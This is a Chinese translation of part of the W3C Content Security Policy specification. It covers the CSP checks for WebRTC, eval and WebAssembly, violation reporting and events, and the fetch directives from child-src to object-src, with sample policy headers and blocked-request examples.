      1. 如果 directive导航响应检查在对 navigation requesttypenavigation responsetarget、“source”和 policy 执行时返回“Allowed”,则跳到下一个 directive

      2. 否则,令 violation 为在 navigation request客户端全局对象policydirective名称上执行§ 2.4.1 为全局对象、策略和指令创建违规对象的结果。

      3. violation资源设置为 navigation requestURL

      4. violation 上执行§ 5.5 报告违规

      5. 如果 policy处置方式为 "enforce",则 将 result 设置为 "Blocked"。

  4. 返回 result

4.2.6. 运行 CSP 初始化以处理全局对象

给定一个 全局对象 global,用户代理按以下步骤初始化 global 的 CSP。如果 global 允许,则此算法返回 "Allowed",否则返回 "Blocked":

  1. result 为 "Allowed"。

  2. 对于 globalCSP 列表中的每个 policy

    1. 对于 policy 中的每个 directive

      1. global 上执行 directive初始化算法。如果其返回值为 "Blocked",则将 result 设置为 "Blocked"。

  3. 返回 result

4.3. 与 WebRTC 的集成

管理禁止 算法在调用时会调用 § 4.3.1 全局对象的RTC连接是否应被阻止?,如果返回 "Blocked",则禁止所有候选者。

4.3.1. 全局对象的 global RTC 连接是否应被阻止?

给定一个全局对象 global,如果 global 的活动策略阻止 RTC 连接,则此算法返回 "Blocked",否则返回 "Allowed":

  1. result 为 "Allowed"。

  2. 对于 globalCSP 列表中的每个 policy

    1. 对于 policy 中的每个 directive

      1. 如果 directivewebrtc 预连接检查返回 "Allowed",则继续

      2. 否则,令 violation 为在 globalpolicydirective名称上执行§ 2.4.1 为全局对象、策略和指令创建违规对象的结果。

      3. violation资源设置为 null。

      4. violation 上执行§ 5.5 报告违规

      5. 如果 policy处置方式为 "enforce",则 将 result 设置为 "Blocked"。

  3. 返回 result

4.4. 与 ECMAScript 的集成

ECMAScript 定义了一个 HostEnsureCanCompileStrings() 抽象操作,该操作允许主机环境阻止将字符串编译为 ECMAScript 代码。本文档定义了该抽象操作的实现,该实现会检查相关的 CSP 列表,以确定是否应该阻止此类编译。

4.4.1. EnsureCSPDoesNotBlockStringCompilation(realm, parameterStrings, bodyString, codeString, compilationType, parameterArgs, bodyArg)

给定一个 realm realm,一个字符串列表 parameterStrings,一个字符串 bodyString,一个字符串 codeString,一个枚举 (compilationType),一个 ECMAScript 语言值列表 (parameterArgs),和一个 ECMAScript 语言值 (bodyArg),如果允许字符串编译,则此算法正常返回,否则抛出 "EvalError":

  1. 如果 compilationType 为 "TIMER",则:

    1. sourceStringcodeString

  2. 否则:

    1. 如果 compilationType 为 "FUNCTION",则令 compilationSink 为 "Function",否则为 "eval"。

    2. isTrustedtrue,如果 bodyArg 实现 TrustedScript,否则为 false

    3. 如果 isTrustedtrue,则:

      1. 如果 bodyString 不等于 bodyArg数据,将 isTrusted 设置为 false

    4. 如果 isTrustedtrue,则:

      1. 断言:parameterArgs 的 [列表/大小=] 等于 [parameterStrings] 的 大小

      2. 遍历 [参数] 范围 0 至 [参数]:

        1. argparameterArgs[index]。

        2. 如果 arg 实现 TrustedScript,则:

          1. 如果 parameterStrings[index] 不等于 arg数据,将 isTrusted 设置为 false

        3. 否则,将 isTrusted 设置为 false

    5. sourceToValidate 为在 realm 中创建的新 TrustedScript 对象,其 数据 设置为 codeString,如果 isTrustedtrue,否则为 codeString

    6. sourceString 为使用 TrustedScriptrealmsourceToValidatecompilationSink'script' 执行 获取受信任类型兼容字符串 算法的结果。

    7. 如果算法抛出错误,则抛出 EvalError

    8. 如果 sourceString 不等于 codeString,抛出 EvalError

  3. result 为 "Allowed"。

  4. globalrealm全局对象

  5. 遍历 globalCSP 列表中的每个 policy

    1. source-list 为 null。

    2. 如果 policy 包含一个指令,其名称为 "script-src",则将 source-list 设置为该指令

      否则,如果 policy 包含一个指令,其名称为 "default-src",则将 source-list 设置为该指令的

    3. 如果 source-list 不为 null:

      1. trustedTypesRequired 为执行接收器类型是否需要可信类型?的结果,参数为 realm'script'false

      2. 如果 trustedTypesRequiredtruesource-list 包含一个源表达式,该表达式与字符串 "'trusted-types-eval'" ASCII 不区分大小写匹配, 则跳过以下步骤。

      3. 如果 source-list 包含一个源表达式,该表达式与字符串 "'unsafe-eval'" ASCII 不区分大小写匹配,则跳过以下步骤。

      4. violation 为在 globalpolicy 和 "script-src" 上执行§ 2.4.1 为全局对象、策略和指令创建违规对象的结果。

      5. violation资源设置为 "eval"。

      6. 如果 source-list 包含表达式 "'report-sample'", 则将 violation样本设置为 sourceString 中包含其前 40 个字符的子字符串。

      7. violation 上执行§ 5.5 报告违规

      8. 如果 policy处置方式为 "enforce",则将 result 设置为 "Blocked"。

  6. 如果 result 为 "Blocked",抛出 EvalError 异常。

4.5. 与 WebAssembly 的集成

WebAssembly 定义了 HostEnsureCanCompileWasmBytes() 抽象操作,该操作允许主机环境阻止将 WebAssembly 源编译为可执行代码。本文档定义了该抽象操作的实现,该实现会检查相关的 CSP 列表,以确定是否应该阻止此类编译。

4.5.1. EnsureCSPDoesNotBlockWasmByteCompilationrealm

给定一个 realm realm,如果允许编译,则此算法正常返回,否则抛出 WebAssembly.CompileError

  1. globalrealm全局对象

  2. result 为 "Allowed"。

  3. 对于 globalCSP 列表中的每个 policy

    1. source-list 为 null。

    2. 如果 policy 包含一个指令,其名称为 "script-src",则将 source-list 设置为该指令

      否则,如果 policy 包含一个指令,其名称为 "default-src",则将 source-list 设置为该指令的

    3. 如果 source-list 非 null,且不包含与字符串 "'unsafe-eval'" ASCII 不区分大小写匹配的源表达式,也不包含与字符串 "'wasm-unsafe-eval'" ASCII 不区分大小写匹配的源表达式,则:

      1. violation 为在 globalpolicy 和 "script-src" 上执行§ 2.4.1 为全局对象、策略和指令创建违规对象的结果。

      2. violation资源设置为 "wasm-eval"。

      3. violation 上执行§ 5.5 报告违规

      4. 如果 policy处置方式为 "enforce",则将 result 设置为 "Blocked"。

  4. 如果 result 为 "Blocked",则抛出 WebAssembly.CompileError 异常。

5. 报告

当一个或多个 策略的指令被违反时,可能会生成并发送一个 CSP 违规报告 到与该 策略关联的报告终端。

CSP 违规报告报告类型为 "csp-violation"。

CSP 违规报告 ReportingObserver 可见。

[Exposed=Window]
interface CSPViolationReportBody : ReportBody {
  [Default] object toJSON();
  readonly attribute USVString documentURL;
  readonly attribute USVString? referrer;
  readonly attribute USVString? blockedURL;
  readonly attribute DOMString effectiveDirective;
  readonly attribute DOMString originalPolicy;
  readonly attribute USVString? sourceFile;
  readonly attribute DOMString? sample;
  readonly attribute SecurityPolicyViolationEventDisposition disposition;
  readonly attribute unsigned short statusCode;
  readonly attribute unsigned long? lineNumber;
  readonly attribute unsigned long? columnNumber;
};

当影响类似脚本的目标的指令具有 report-sha256report-sha384report-sha512 值,并且获取了具有类似脚本的目标请求时,将生成一个 csp 哈希报告并将其发送到与策略关联的报告端点。

csp 哈希报告具有报告类型 "csp-hash"。

csp 哈希报告ReportingObserver 不可见

csp 哈希报告主体是一个包含以下字段的结构体documentURLsubresourceURLhashdestinationtype

当文档的响应包含以下标头时:
Reporting-Endpoints: hashes-endpoint="https://example.com/reports"
Content-Security-Policy: script-src 'self' 'report-sha256'; report-to hashes-endpoint

并且文档加载脚本 "main.js" 时,将发送类似以下的报告:

POST /reports HTTP/1.1
Host: example.com
...
Content-Type: application/reports+json

[{
    "type": "csp-hash",
    "age": 12,
    "url": "https://example.com/",
    "user_agent": "Mozilla/5.0 (X11; Linux i686; rv:132.0) Gecko/20100101 Firefox/132.0",
    "body": {
    "document_url": "https://example.com/",
    "subresource_url": "https://example.com/main.js",
    "hash": "sha256-85738f8f9a7f1b04b5329c590ebcb9e425925c6d0984089c43a022de4f19c281",
    "type": "subresource",
    "destination": "script"
    }
}]

5.1. 违规 DOM 事件

enum SecurityPolicyViolationEventDisposition {
  "enforce", "report"
};

[Exposed=(Window,Worker)]
interface SecurityPolicyViolationEvent : Event {
    constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict = {});
    readonly    attribute USVString      documentURI;
    readonly    attribute USVString      referrer;
    readonly    attribute USVString      blockedURI;
    readonly    attribute DOMString      effectiveDirective;
    readonly    attribute DOMString      violatedDirective; // historical alias of effectiveDirective
    readonly    attribute DOMString      originalPolicy;
    readonly    attribute USVString      sourceFile;
    readonly    attribute DOMString      sample;
    readonly    attribute SecurityPolicyViolationEventDisposition      disposition;
    readonly    attribute unsigned short statusCode;
    readonly    attribute unsigned long  lineNumber;
    readonly    attribute unsigned long  columnNumber;
};

dictionary SecurityPolicyViolationEventInit : EventInit {
    USVString      documentURI = "";
    USVString      referrer = "";
    USVString      blockedURI = "";
    DOMString      violatedDirective = "";
    DOMString      effectiveDirective = "";
    DOMString      originalPolicy = "";
    USVString      sourceFile = "";
    DOMString      sample = "";
    SecurityPolicyViolationEventDisposition disposition = "enforce";
    unsigned short statusCode = 0;
    unsigned long  lineNumber = 0;
    unsigned long  columnNumber = 0;
};

5.2. 获取违规resourceblockedURI

给定违规的资源 resource,此算法返回一个字符串, 用作违规报告的阻止 URI 字段。

  1. 断言:resource 是一个 URL 或一个字符串

  2. 如果 resource 是一个 URL,则返回在 resource 上执行§ 5.4 为在报告中使用而剥离 URL的结果。

  3. 返回 resource

5.3. 获取violation的已弃用序列化形式

给定一个violation violation,该算法返回违规的 JSON 文本字符串表示形式,适合提交给与已弃用的report-uri指令关联的报告端点。

  1. body是一个映射,其键初始化如下:

    "document-uri"

    violationurl上执行§ 5.4 用于报告的 URL 剥离的结果。

    "referrer"

    violationreferrer上执行§ 5.4 用于报告的 URL 剥离的结果。

    "blocked-uri"

    violationresource上执行§ 5.2 获取违规资源的 blockedURI的结果。

    "effective-directive"

    violation有效指令

    "violated-directive"

    violation有效指令

    "original-policy"

    violationpolicy序列化

    "disposition"

    violationpolicy处理方式

    "status-code"

    violation状态

    "script-sample"

    violation样本

    注意:script-sample 的名称是为了兼容 Firefox 自其初始实现 CSP 时的早期版本而选择的。尽管名称如此,该字段也会包含非脚本违规的样本,比如样式表。通过新的report-to指令生成的报告和SecurityPolicyViolationEvent对象中的数据采用了更包容的命名方式:sample

  2. 如果violation源文件不是 null:

    1. body["source-file"] 设置为在violation源文件上执行§ 5.4 用于报告的 URL 剥离的结果。

    2. body["line-number"] 设置为violation行号

    3. body["column-number"] 设置为violation列号

  3. 断言:如果body["blocked-uri"] 不是 "inline",则body["sample"] 为空字符串。

  4. 返回使用将 infra 值序列化为 JSON 字节给定 «[ "csp-report" → body ]» 的结果。

5.4. 用于报告的 URL 剥离

给定一个URL url,该算法返回一个用于违规报告的字符串形式的 URL:

  1. 如果urlscheme不是HTTP(S) scheme,则返回urlscheme

  2. urlfragment设置为空字符串。

  3. urlusername设置为空字符串。

  4. urlpassword设置为空字符串。

  5. 返回在url上执行URL 序列化器的结果。

5.5. 报告violation

给定一个violation violation,该算法将其报告到violationpolicy中指定的端点,并在violationelement,或如以下描述的violationglobal object上触发SecurityPolicyViolationEvent

  1. globalviolation全局对象

  2. targetviolation元素

  3. 排入一个任务来执行以下步骤:

    注意:我们在此处“排入任务”以确保事件目标和分发在负责某个违规的任务的 JavaScript 执行完成后发生(该任务可能会操作 DOM)。

    1. 如果 target 不为 null,且 global 是一个 窗口对象(Window),并且 target包含 shadow 的根不是 global关联的 文档(Document),则将 target 设为 null。

      注意:这样确保我们只在与 violation策略文档连接的元素上触发事件。如果违规是由不连接到该文档的元素引起的,我们会在文档而非元素上触发事件,以确保违规对文档的监听器可见。

    2. 如果 target 为 null:

      1. target 设置为 violation全局对象

      2. 如果 target 是一个 Window, 则将 target 设置为 target关联的 Document

    3. 如果 target 实现 EventTarget 接口, 则在 target触发一个名为 securitypolicyviolation 的事件,该事件使用 SecurityPolicyViolationEvent 接口,其属性初始化如下:

      documentURI

      执行 § 5.4 用于报告的 URL 剥离,传入 violationURL

      referrer

      执行 § 5.4 用于报告的 URL 剥离,传入 violation引用者

      blockedURI

      执行 § 5.2 获取违规资源的 blockedURI,传入 violation资源

      effectiveDirective

      violation有效指令

      violatedDirective

      violation有效指令

      originalPolicy

      violationCSP 序列化

      disposition

      violation处置

      sourceFile

      执行 § 5.4 用于报告的 URL 剥离,传入 violation源文件,如果 violation源文件 不为 null,则返回 null。

      statusCode

      violation状态码

      lineNumber

      violation行号

      columnNumber

      violation列号

      sample

      violation示例

      bubbles

      true

      composed

      true

      注意:我们设置了 composed 属性,这意味着该事件可以在其进入的过程中被捕获,并会从 shadow 树中冒泡。target 等将自动正确地作用于主树。

      注意: effectiveDirectiveviolatedDirective 都是相同的值。这是为了保持向后兼容性而故意这样设计的。

    4. 如果 violation策略指令集包含一个名为“report-uri”的指令 directive

      1. 如果 violation策略指令集包含一个名为“report-to”的指令,则跳过其余子步骤。

      2. 对于 directive中的每个 token

        1. endpoint 为以 token 作为输入,violationurl 作为基本 URL 执行URL 解析器的结果。

        2. 如果 endpoint 不是有效的 URL,则跳过其余子步骤。

        3. request 为一个新的请求,初始化如下:

          方法

          "POST"

          url

          violationurl

          violation全局对象相关设置对象

          用户提示的可遍历性

          "no-traversable"

          客户端

          violation全局对象相关设置对象

          目标

          "report"

          发起者

          ""

          凭据模式

          "same-origin"

          keepalive

          "true"

          标头列表

          包含单个标头的标头列表,其名称为 "Content-Type",值为 "application/csp-report"

          主体

          violation 上执行§ 5.3 获取违规的已弃用序列化的结果

          重定向模式

          "error"

          注意: request模式默认为 "no-cors";响应将被完全忽略。

        4. 获取 request。结果将被忽略。

      注意:所有这些都应被视为已弃用。它为每个违规发送单个请求,这根本不具有可扩展性。一旦可以从用户代理中删除此行为,就会这样做。

      注意:report-uri 仅在 report-to 不存在时生效。也就是说,后者会覆盖前者,从而允许向后兼容不支持新机制的浏览器。

    5. 如果 violation策略指令集包含一个名为“report-to”的指令 directive

      1. body 为一个新的 CSPViolationReportBody,初始化如下:

        documentURL

        执行 § 5.4 用于报告的 URL 剥离,传入 violationURL

        referrer

        执行 § 5.4 用于报告的 URL 剥离,传入 violation引用者

        blockedURL

        执行 § 5.2 获取违规资源的 blockedURI,传入 violation资源

        effectiveDirective

        violation有效指令

        originalPolicy

        violationCSP 序列化

        sourceFile

        执行 § 5.4 用于报告的 URL 剥离,传入 violation源文件,如果 violation源文件 不为 null,否则为 null。

        sample

        violation示例

        disposition

        violation处置

        statusCode

        violation状态码

        lineNumber

        violation行号,如果 violation源文件 不为 null,否则为 null。

        columnNumber

        violation列号,如果 violation源文件 不为 null,否则为 null。

      2. settings objectviolation全局对象相关设置对象

      3. 生成并排队报告,参数如下:

        context

        settings object

        type

        "csp-violation"

        destination

        directive

        data

        body

6. 内容安全策略指令

本规范定义了一些类型的 指令,这些指令允许开发人员控制其网站行为的某些方面。本文档定义了用于管理资源抓取的指令(在 § 6.1 抓取指令 中)、用于管理文档状态的指令(在 § 6.3 文档指令 中)、用于管理导航方面的指令(在 § 6.4 导航指令 中)以及用于管理报告的指令(在 § 6.5 报告指令 中)。这些构成了内容安全策略的核心;其他指令以模块化的方式在附属文档中定义(参见 § 6.6 其他文档中定义的指令 的示例)。

为了降低跨站脚本攻击的风险,Web 开发人员应包含一些规定脚本和插件来源的指令。他们可以通过以下方式实现:

无论哪种情况,开发人员都不应在其策略中包含 'unsafe-inline'data: 作为有效来源。两者都允许直接在文档中包含代码,从而使 XSS 攻击得以实施,因此应尽量避免完全使用。

6.1. 抓取指令

抓取指令控制某些资源类型可以从何处加载。例如,script-src 允许开发人员信任的脚本来源在页面上执行,而 font-src 控制网页字体的来源。

6.1.1. child-src

child-src 指令用于管理 子导航(例如 iframeframe 导航)和 Worker 执行上下文的创建。该指令的名称和值的语法由以下 ABNF 描述:

directive-name  = "child-src"
directive-value = serialized-source-list

此指令控制将填充帧或 worker 的 请求。更正式地说,它适用于以下类别的 请求

给定包含以下内容安全策略的页面:
Content-Security-Policy: child-src https://example.com/

对于以下代码的抓取请求将全部返回网络错误,因为提供的 URL 与 child-src来源列表不匹配:

<iframe src="https://example.org"></iframe>
<script>
  var blockedWorker = new Worker("data:application/javascript,...");
</script>
6.1.1.1. child-src 预请求检查

此指令的 预请求检查如下:

给定一个 请求 request 和一个 策略 policy

  1. 执行 § 6.8.1 获取请求的有效指令 并将其结果赋给 name

  2. 如果执行 § 6.8.4 应该执行抓取指令吗 的结果对 namechild-srcpolicy 为 "No",则返回 "Allowed"。

  3. 返回对名称为 name指令,使用 预请求检查 并将 policyrequest 作为参数的执行结果,比较时使用此指令的

6.1.1.2. child-src 后请求检查

此指令的 后请求检查如下:

给定一个 请求 request,一个 响应 response,和一个 策略 policy

  1. 执行 § 6.8.1 获取请求的有效指令 并将其结果赋给 name

  2. 如果执行 § 6.8.4 应该执行抓取指令吗 的结果对 namechild-srcpolicy 为 "No",则返回 "Allowed"。

  3. 返回对名称为 name指令,使用 后请求检查 并将 policyrequestresponse 作为参数的执行结果,比较时使用此指令的

6.1.2. connect-src

connect-src 指令限制通过脚本接口加载的 URL。该指令的名称和值的语法由以下 ABNF 描述:

directive-name  = "connect-src"
directive-value = serialized-source-list

此指令控制 请求,这些请求用于从其他源传输或接收数据。这包括 fetch()[XHR][EVENTSOURCE][BEACON] 以及 aping 属性。此外,此指令还控制 WebSocket 的 [WEBSOCKETS] 连接,尽管它们技术上不属于 Fetch。

JavaScript 提供了几种直接连接到外部服务器以发送或接收信息的机制。EventSource 维持与服务器的开放 HTTP 连接,以接收推送通知,WebSockets 在浏览器和服务器之间打开双向通信通道,而 XMLHttpRequest 代表用户进行任意的 HTTP 请求。这些都是强大的 API,能够提供有用的功能,但同时也可能成为数据泄露的诱人途径。

connect-src 指令允许您确保这些和类似类型的连接仅能打开到您信任的源。发送一个为此指令定义源表达式列表的策略非常简单。例如,若要限制连接仅能到 https://example.com,发送以下头部:

Content-Security-Policy: connect-src https://example.com/

以下代码的抓取请求将全部返回网络错误,因为提供的 URL 与 connect-src来源列表不匹配:

<a ping="https://example.org">...
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('GET', 'https://example.org/');
  xhr.send();

  var ws = new WebSocket("wss://example.org/");

  var es = new EventSource("https://example.org/");

  navigator.sendBeacon("https://example.org/", { ... });
</script>
6.1.2.1. connect-src 预请求检查

此指令的 预请求检查如下:

给定一个 请求 request 和一个 策略 policy

  1. 执行 § 6.8.1 获取请求的有效指令 并将其结果赋给 name

  2. 如果执行 § 6.8.4 应该执行抓取指令吗 的结果对 nameconnect-srcpolicy 为 "No",则返回 "Allowed"。

  3. 如果执行 § 6.7.2.5 请求是否匹配来源列表? 的结果对 request、此指令的 policy 为 "Does Not Match",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.2.2. connect-src 后请求检查

此指令的 后请求检查如下:

给定一个 请求 request,一个 响应 response,和一个 策略 policy

  1. 执行 § 6.8.1 获取请求的有效指令 并将其结果赋给 name

  2. 如果执行 § 6.8.4 应该执行抓取指令吗 的结果对 nameconnect-srcpolicy 为 "No",则返回 "Allowed"。

  3. 如果执行 § 6.7.2.6 响应是否匹配来源列表? 的结果对 responserequest、此指令的 policy 为 "Does Not Match",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.3. default-src

default-src 指令作为其他 抓取指令 的回退。该指令的名称和值的语法由以下 ABNF 描述:

directive-name  = "default-src"
directive-value = serialized-source-list

如果策略中存在一个 default-src 指令,则其值将用作策略的默认来源列表。即,给定 default-src 'none'; script-src 'self',脚本请求将使用 'self' 作为 来源列表 来进行匹配。其他请求将使用 'none'。在 § 4.1.2 Content Security Policy 是否应阻止请求?§ 4.1.3 Content Security Policy 是否应阻止响应? 算法中对此进行了更详细的说明。

资源提示如 prefetchpreconnect 生成的请求不与任何特定的 抓取指令 绑定,而是由策略中所有指令的 来源列表 的并集管理。如果未指定 default-src,这些请求将始终被允许。更多信息请参阅 § 8.6 数据外泄[HTML]
以下头部:
Content-Security-Policy: default-src 'self'

与以下头部具有相同的行为:

Content-Security-Policy: connect-src 'self';
                         font-src 'self';
                         frame-src 'self';
                         img-src 'self';
                         manifest-src 'self';
                         media-src 'self';
                         object-src 'self';
                         script-src-elem 'self';
                         script-src-attr 'self';
                         style-src-elem 'self';
                         style-src-attr 'self';
                         worker-src 'self'

也就是说,当设置了 default-src 时,所有未显式设置的 抓取指令 都将回退到 default-src 指定的值。

没有继承关系。例如,如果显式指定了 script-src 指令,那么 default-src 的值将不会影响脚本请求。也就是说,以下头部:
Content-Security-Policy: default-src 'self'; script-src-elem https://example.com

将与以下头部具有相同的行为:

Content-Security-Policy: connect-src 'self';
                         font-src 'self';
                         frame-src 'self';
                         img-src 'self';
                         manifest-src 'self';
                         media-src 'self';
                         object-src 'self';
                         script-src-elem https://example.com;
                         script-src-attr 'self';
                         style-src-elem 'self';
                         style-src-attr 'self';
                         worker-src 'self'

鉴于这种行为,为网站构建策略的一个好方法是从 default-src 设置为 'none' 开始,然后逐步构建一套仅允许特定页面所需资源类型的策略。

6.1.3.1. default-src 预请求检查

该指令的 预请求检查 如下:

给定一个 请求 request 和一个 策略 policy

  1. name 设置为执行 § 6.8.1 获取请求的有效指令request 的结果。

  2. 如果执行 § 6.8.4 是否应执行提取指令namedefault-srcpolicy 的结果为 "No",则返回 "Allowed"。

  3. 返回执行 预请求检查 的结果,其 指令名称name,对 requestpolicy 进行比较,使用该指令的 进行比较。

6.1.3.2. default-src 后请求检查

该指令的 后请求检查 如下:

给定一个 请求 request,一个 响应 response,和一个 策略 policy

  1. name 设置为执行 § 6.8.1 获取请求的有效指令request 的结果。

  2. 如果执行 § 6.8.4 是否应执行提取指令namedefault-srcpolicy 的结果为 "No",则返回 "Allowed"。

  3. 返回执行 后请求检查 的结果,其 指令名称name,对 requestresponsepolicy 进行比较,使用该指令的 进行比较。

6.1.3.3. default-src 内联检查

该指令的 内联检查 算法如下:

给定一个 元素 element,一个字符串 type,一个 策略 policy 和一个字符串 source

  1. name 设置为执行 § 6.8.2 获取内联检查的有效指令type 的结果。

  2. 如果执行 § 6.8.4 是否应执行提取指令namedefault-srcpolicy 的结果为 "No",则返回 "Allowed"。

  3. 否则,返回执行 内联检查 的结果,其 指令名称name,对 elementtypepolicysource 进行比较,使用该指令的 进行比较。

6.1.4. font-src

font-src 指令限制可以加载字体资源的 URL。该指令名称和值的语法由以下 ABNF 描述:

directive-name  = "font-src"
directive-value = serialized-source-list
给定一个具有以下内容安全策略的页面:
Content-Security-Policy: font-src https://example.com/

以下代码的获取将返回网络错误,因为提供的 URL 与 font-src源列表不匹配:

<style>
  @font-face {
    font-family: "Example Font";
    src: url("https://example.org/font");
  }
  body {
    font-family: "Example Font";
  }
</style>
6.1.4.1. font-src 预请求检查

该指令的 预请求检查 如下:

给定一个 请求 request 和一个 策略 policy

  1. name 设置为执行 § 6.8.1 获取请求的有效指令request 的结果。

  2. 如果执行 § 6.8.4 是否应执行提取指令namefont-srcpolicy 的结果为 "No",则返回 "Allowed"。

  3. 如果执行 § 6.7.2.5 请求是否匹配来源列表?request、该指令的 policy 的结果为 "不匹配",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.4.2. font-src 请求后检查

该指令的 请求后检查 如下:

给定一个 请求 request,一个 响应 response,和一个 策略 policy

  1. name 设置为执行 § 6.8.1 获取请求的有效指令request 的结果。

  2. 如果执行 § 6.8.4 是否应执行提取指令namefont-srcpolicy 的结果为 "No",则返回 "Allowed"。

  3. 如果执行 § 6.7.2.6 请求的响应是否匹配来源列表?responserequest、该指令的 policy 的结果为 "不匹配",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.5. frame-src

frame-src 指令限制可加载到 子导航 的 URL。该指令名称和值的语法由以下 ABNF 描述:

directive-name  = "frame-src"
directive-value = serialized-source-list
给定一个包含以下内容安全策略的页面:
Content-Security-Policy: frame-src https://example.com/

以下代码的请求将返回网络错误,因为提供的 URL 与 frame-src来源列表不匹配:

<iframe src="https://example.org/">
</iframe>
6.1.5.1. frame-src 预请求检查

该指令的 预请求检查 如下:

给定一个 请求 request 和一个 策略 policy

  1. name 设置为执行 § 6.8.1 获取请求的有效指令request 的结果。

  2. 如果执行 § 6.8.4 是否应执行提取指令nameframe-srcpolicy 的结果为 "No",则返回 "Allowed"。

  3. 如果执行 § 6.7.2.5 请求是否匹配来源列表?request、该指令的 policy 的结果为 "不匹配",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.5.2. frame-src 请求后检查

该指令的 请求后检查 如下:

给定一个 请求 request,一个 响应 response,和一个 策略 policy

  1. name 设置为执行 § 6.8.1 获取请求的有效指令request 的结果。

  2. 如果执行 § 6.8.4 是否应执行提取指令nameframe-srcpolicy 的结果为 "No",则返回 "Allowed"。

  3. 如果执行 § 6.7.2.6 请求的响应是否匹配来源列表?responserequest、该指令的 policy 的结果为 "不匹配",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.6. img-src

img-src 指令限制加载图像资源的 URL。该指令名称和值的语法由以下 ABNF 描述:

directive-name  = "img-src"
directive-value = serialized-source-list

该指令控制加载图像的 请求。更正式地说,这包括其 请求目标 为 "image" 的请求 [FETCH]

给定一个包含以下内容安全策略的页面:
Content-Security-Policy: img-src https://example.com/

以下代码的请求将返回网络错误,因为提供的 URL 与 img-src来源列表不匹配:

<img src="https://example.org/img">
6.1.6.1. img-src 预请求检查

该指令的 预请求检查 如下:

给定一个 请求 request 和一个 策略 policy

  1. name 设置为执行 § 6.8.1 获取请求的有效指令request 的结果。

  2. 如果执行 § 6.8.4 是否应执行提取指令nameimg-srcpolicy 的结果为 "No",则返回 "Allowed"。

  3. 如果执行 § 6.7.2.5 请求是否匹配来源列表?request、该指令的 policy 的结果为 "不匹配",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.6.2. img-src 请求后检查

该指令的 请求后检查 如下:

给定一个 请求 request,一个 响应 response,和一个 策略 policy

  1. name 设置为执行 § 6.8.1 获取请求的有效指令request 的结果。

  2. 如果执行 § 6.8.4 是否应执行提取指令nameimg-srcpolicy 的结果为 "No",则返回 "Allowed"。

  3. 如果执行 § 6.7.2.6 请求的响应是否匹配来源列表?responserequest、该指令的 policy 的结果为 "不匹配",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.7. manifest-src

manifest-src 指令限制从哪个 URL 加载应用程序清单 [APPMANIFEST]。该指令名称和值的语法由以下 ABNF 描述:

directive-name  = "manifest-src"
directive-value = serialized-source-list
给定一个包含以下内容安全策略的页面:
Content-Security-Policy: manifest-src https://example.com/

以下代码的请求将返回网络错误,因为提供的 URL 与 manifest-src来源列表不匹配:

<link rel="manifest" href="https://example.org/manifest">
6.1.7.1. manifest-src 预请求检查

该指令的 预请求检查 如下:

给定一个 请求 request 和一个 策略 policy

  1. name 设置为执行 § 6.8.1 获取请求的有效指令request 的结果。

  2. 如果执行 § 6.8.4 是否应执行提取指令namemanifest-srcpolicy 的结果为 "No",则返回 "Allowed"。

  3. 如果执行 § 6.7.2.5 请求是否匹配来源列表?request、该指令的 policy 的结果为 "不匹配",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.7.2. manifest-src 请求后检查

该指令的 请求后检查 如下:

给定一个 请求 request,一个 响应 response,和一个 策略 policy

  1. name 设置为执行 § 6.8.1 获取请求的有效指令request 的结果。

  2. 如果执行 § 6.8.4 是否应执行提取指令namemanifest-srcpolicy 的结果为 "No",则返回 "Allowed"。

  3. 如果执行 § 6.7.2.6 请求的响应是否匹配来源列表?responserequest、该指令的 policy 的结果为 "不匹配",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.8. media-src

media-src 指令限制从哪个 URL 加载视频、音频和相关的文本轨资源。该指令名称和值的语法由以下 ABNF 描述:

directive-name  = "media-src"
directive-value = serialized-source-list
给定一个包含以下内容安全策略的页面:
Content-Security-Policy: media-src https://example.com/

以下代码的请求将返回网络错误,因为提供的 URL 与 media-src来源列表不匹配:

<audio src="https://example.org/audio"></audio>
<video src="https://example.org/video">
    <track kind="subtitles" src="https://example.org/subtitles">
</video>
6.1.8.1. media-src 预请求检查

该指令的 预请求检查 如下:

给定一个 请求 request 和一个 策略 policy

  1. name 设置为执行 § 6.8.1 获取请求的有效指令request 的结果。

  2. 如果执行 § 6.8.4 是否应执行提取指令namemedia-srcpolicy 的结果为 "No",则返回 "Allowed"。

  3. 如果执行 § 6.7.2.5 请求是否匹配来源列表?request、该指令的 policy 的结果为 "不匹配",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.8.2. media-src 请求后检查

该指令的 请求后检查 如下:

给定一个 请求 request,一个 响应 response,和一个 策略 policy

  1. name 设置为执行 § 6.8.1 获取请求的有效指令request 的结果。

  2. 如果执行 § 6.8.4 是否应执行提取指令namemedia-srcpolicy 的结果为 "No",则返回 "Allowed"。

  3. 如果执行 § 6.7.2.6 请求的响应是否匹配来源列表?responserequest、该指令的 policy 的结果为 "不匹配",则返回 "Blocked"。

  4. 返回 "Allowed"。

6.1.9. object-src

object-src 指令限制从哪个 URL 加载插件内容。该指令名称和值的语法由以下 ABNF 描述:

directive-name  = "object-src"
directive-value = serialized-source-list
给定一个包含以下内容安全策略的页面:
Content-Security-Policy: object-src https://example.com/

以下代码的请求将返回网络错误,因为提供的 URL 与 object-src来源列表不匹配:

<embed src="https://example.org/flash"></embed>
<object data="https://example.org/flash"></object>

如果插件内容加载时没有关联的 URL(例如,object 元素缺少 data 属性,但基于指定的 type 加载一些默认插件),如果 object-src 的值为 'none',则必须阻止加载,否则允许加载。

注意: object-src 指令作用于任何由 objectembed 元素发起的请求。这包括前两者生成的 子导航项的请求(也包括导航)。即使数据在语义上等同于其他指令限制的内容,例如具有 text/html MIME 类型的 object 元素,这也适用。

